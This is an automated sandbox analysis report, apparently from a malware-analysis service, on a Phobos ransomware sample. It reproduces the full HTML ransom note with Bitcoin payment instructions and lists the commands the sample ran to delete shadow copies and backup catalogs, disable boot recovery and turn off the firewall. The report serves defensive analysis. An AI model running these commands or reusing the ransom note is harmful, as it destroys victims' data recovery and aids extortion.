Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    22/08/2026, 18:40

General

  • Target
    2026-08-21_15ec3153d57259b404446e271d785cbb_elex_phobos.exe
  • Size 56KB
  • Sample260822-xbchcsszht
  • SHA256 3cf6da268b60dc27b3c1645eb5279a703e7aa4ec0c708c1ca5b99efdf87fa352
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Path
  • C:\Users\Admin\Desktop\info.hta

Ransom Note
  • <!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01//EN' 'http://www.w3.org/TR/html4/strict.dtd'> <html> <head> <meta charset='windows-1251'> <title>encrypted</title> <HTA:APPLICATION ICON='msiexec.exe' SINGLEINSTANCE='yes' SysMenu="no"> <script language='JScript'> window.moveTo(50, 50); window.resizeTo(screen.width - 100, screen.height - 100); </script> <style type='text/css'> body { font: 15px Tahoma, sans-serif; margin: 10px; line-height: 25px; background: #EDEDED; } img { display:inline-block; } .bold { font-weight: bold; } .mark { background: #D0D0E8; padding: 2px 5px; } .header { text-align: center; font-size: 30px; line-height: 50px; font-weight: bold; margin-bottom:20px; } .info { background: #D0D0E8; border-left: 10px solid #00008B; } .alert { background: #FFE4E4; border-left: 10px solid #FF0000; } .private { border: 1px dashed #000; background: #FFFFEF; } .note { height: auto; padding-bottom: 1px; margin: 15px 0; } .note .title { font-weight: bold; text-indent: 10px; height: 30px; line-height: 30px; padding-top: 10px; } .note .mark { background: #A2A2B5; } .note ul { margin-top: 0; } .note pre { margin-left: 15px; line-height: 13px; font-size: 13px; } .footer { position:fixed; bottom:0; right:0; text-align: right; } </style> </head> <body> <div class='header'> <img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAQAAAAAYLlVAAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAAF2+SX8VGAAAAAmJLR0QA/4ePzL8AAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfjAwwMJwSFwIn8AAADNklEQVRo3u2ZTUhUURTHfzozmprmZ1pYEmkfJNEmiwwkSEyFECIQpEUboYhqFYHQXlcti9rUKldWBEUiuQpbtDDNzD5G8qM0HRXLRtO5LdJx3puPd++8+xyIztm88zgf/3veufeee18SdimDI1RxnL0U4gbAzxhDdPGCfpZs+49JWTTyFB8iAq8wTju1pDgXvopOliIGX+d57rHPieBuLvLNIvgaD1KvP/x1FiTDCwQTNOkFcJVfCuEFgq+c0he+minF8AJBH2WRnCUph8/nIZVhb2d5w1smEbjYSTn7SQ/TucsFlnWkPxBW6Xc4RkbIoHKooSNshsxRbT98Eb0mtyM04oqgmR6hUNvtrwrnWDa4nOVMVF0XLfw2aPuosBfezQPTmNpiVtFmnpj0W+wBKMFrcPeJ3RYWNfwwWHSSZgdAHX6Du5uWFpl0myqm1KiQrASgnNQQaZFOS4t5nhvkAnbZAbDHIE0wIGHzmsUQKdXkQwlACtsN8ijfJay8zBjkovgBbCLPlAG/hNUcswa5IH4Ayasdzxr5pBbWRRYMstGHYg04QAkH4FbQFSwTCKbdI7mzWVipbMceKtiCCFqO0OeY1caRbAaKOcgOCpQ+WWTyM8EwvfjkTfJoYZDFONqwaPyTHs7LbktlPNMYep2XuE22dfhsHjkS/i+3Wn/SK2EdoE72UeuyGH8rxbbLLjqlkRlb4TAzDo5fIJiOvRTnR+ju9VJuwveC/wASDsD+2h5KUyyQTVZiALzjFt3MsY16mtmqx2mt9BbUw4EQuzpGpVcCLQB8nDBZXmJFDoCeInzFS9ObxwzLmeoBMGA4/QBM4t1IAOHXDi7Zqwg9ACrCWotS8xnQWQCHOGsafzOFOhzLT8NxmoI3RZncULjG1ARA8DHYupxUucbUtxd4ghnw4JI30wdARHneMABx0j8FYD3xCkdefQByKFl9KsOjy6nKNBR0cZRCTjOk1JhrBCCY5r3pZtSS9bZkueSqmljVgPoPDa0Algk4HD8QG8AXph0G8Dk2AC89DgPosFKodvR83G/dtiRzTevtUChP0SCTpBQuM+bI6Bvk51gl96X/FFvzCh9oW0v+H2zO2tYtz/EgAAAAJXRFWHRkYXRlOmNyZWF0ZQAyMDE5LTAzLTEyVDEyOjM5OjA0KzAwOjAwG6lIYwAAACV0RVh0ZGF0ZTptb2RpZnkAMjAxOS0wMy0xMlQxMjozOTowNCswMDowMGr08N8AAAAASUVORK5CYII='> <div>All your files have been encrypted!</div> </div> <div class='bold'>All your files have been encrypted due to a security problem with your PC. If you want to restore them, write us to the e-mail <span class='mark'>[email protected]</span></div> <div class='bold'>Write this ID in the title of your message <span class='mark'>C90A67C2-3435</span></div> <div class='bold'>In case of no answer in 24 hours write us to this e-mail:<span class='mark'>[email protected]</span></div> <div> You have to pay for decryption in Bitcoins. The price depends on how fast you write to us. After payment we will send you the tool that will decrypt all your files. </div> <div class='note info'> <div class='title'>Free decryption as guarantee</div> <ul>Before paying you can send us up to 5 files for free decryption. The total size of files must be less than 4Mb (non archived), and files should not contain valuable information. (databases,backups, large excel sheets, etc.) </ul> </div> <div class='note info'> <div class='title'>How to obtain Bitcoins</div> <ul> The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price. <br><a href='https://localbitcoins.com/buy_bitcoins'>https://localbitcoins.com/buy_bitcoins</a> <br> Also you can find other places to buy Bitcoins and beginners guide here: <br><a href='http://www.coindesk.com/information/how-can-i-buy-bitcoins/'>http://www.coindesk.com/information/how-can-i-buy-bitcoins/</a> </ul> </div> <div class='note alert'> <div class='title'>Attention!</div> <ul> <li>Do not rename encrypted files.</li> <li>Do not try to decrypt your data using third party software, it may cause permanent data loss.</li> <li>Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.</li> </ul> </div> </body> </html>
Emails
URLs
  • http://www.w3.org/TR/html4/strict.dtd'>

Signatures

  • Family: Phobos

    Phobos ransomware appeared at the beginning of 2019.

  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
  • Renames multiple (857) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Deletes backup catalog 3 TTPs 2 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Creates a file in the Startup directory 1 TTPs 3 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops desktop.ini file(s) 64 IoCs
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Program Files directory 64 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 4 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-21_15ec3153d57259b404446e271d785cbb_elex_phobos.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-21_15ec3153d57259b404446e271d785cbb_elex_phobos.exe"
    1⤵
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5996
    • C:\Users\Admin\AppData\Local\Temp\2026-08-21_15ec3153d57259b404446e271d785cbb_elex_phobos.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-08-21_15ec3153d57259b404446e271d785cbb_elex_phobos.exe"
      2⤵
        PID:3152
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4644
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:5388
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2952
        • C:\Windows\system32\bcdedit.exe
          bcdedit /set {default} bootstatuspolicy ignoreallfailures
          3⤵
          • Modifies boot configuration data using bcdedit
          PID:3168
        • C:\Windows\system32\bcdedit.exe
          bcdedit /set {default} recoveryenabled no
          3⤵
          • Modifies boot configuration data using bcdedit
          PID:4856
        • C:\Windows\system32\wbadmin.exe
          wbadmin delete catalog -quiet
          3⤵
          • Deletes backup catalog
          PID:5828
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4264
        • C:\Windows\system32\netsh.exe
          netsh advfirewall set currentprofile state off
          3⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:5580
        • C:\Windows\system32\netsh.exe
          netsh firewall set opmode mode=disable
          3⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:1368
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\info.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
        2⤵
        • System Location Discovery: System Language Discovery
        PID:5984
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\desktop\info.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
        2⤵
        • System Location Discovery: System Language Discovery
        PID:2724
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "C:\info.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
        2⤵
        • System Location Discovery: System Language Discovery
        PID:2576
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "F:\info.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
        2⤵
        • Enumerates connected drives
        • System Location Discovery: System Language Discovery
        PID:3800
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2720
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:1208
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:5728
        • C:\Windows\system32\bcdedit.exe
          bcdedit /set {default} bootstatuspolicy ignoreallfailures
          3⤵
          • Modifies boot configuration data using bcdedit
          PID:5056
        • C:\Windows\system32\bcdedit.exe
          bcdedit /set {default} recoveryenabled no
          3⤵
          • Modifies boot configuration data using bcdedit
          PID:4964
        • C:\Windows\system32\wbadmin.exe
          wbadmin delete catalog -quiet
          3⤵
          • Deletes backup catalog
          PID:3192
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2328
    • C:\Users\Admin\AppData\Local\2026-08-21_15ec3153d57259b404446e271d785cbb_elex_phobos.exe
      C:\Users\Admin\AppData\Local\2026-08-21_15ec3153d57259b404446e271d785cbb_elex_phobos.exe
      1⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:4460
    • C:\Windows\system32\wbengine.exe
      "C:\Windows\system32\wbengine.exe"
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3116
    • C:\Windows\System32\vdsldr.exe
      C:\Windows\System32\vdsldr.exe -Embedding
      1⤵
        PID:5144
      • C:\Windows\System32\vds.exe
        C:\Windows\System32\vds.exe
        1⤵
        • Checks SCSI registry key(s)
        PID:4248

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            C2R64.dll.id[C90A67C2-3435].[[email protected]].faust

            • Path C:\Program Files\Common Files\microsoft shared\ClickToRun\C2R64.dll.id[C90A67C2-3435].[[email protected]].faust
            • Size 3.6MB
            • SHA256 31acd936d2a10730ce2617e2065179c725229733d767b6350d417f329a0b4c04
            • MD5 SHA1 SHA512 SSDEEP TLSH

            2026-08-21_15ec3153d57259b404446e271d785cbb_elex_phobos.exe

            • Path C:\Users\Admin\AppData\Local\2026-08-21_15ec3153d57259b404446e271d785cbb_elex_phobos.exe
            • Size 56KB
            • SHA256 3cf6da268b60dc27b3c1645eb5279a703e7aa4ec0c708c1ca5b99efdf87fa352
            • MD5 SHA1 SHA512 SSDEEP TLSH

            info.hta

            • Path C:\Users\Admin\Desktop\info.hta
            • Size 5KB
            • SHA256 7b9f18337d757db66a3d28bf7bac014fd1fb6a6c9de217aa21692bc3722cbb6c
            • MD5 SHA1 SHA512 SSDEEP TLSH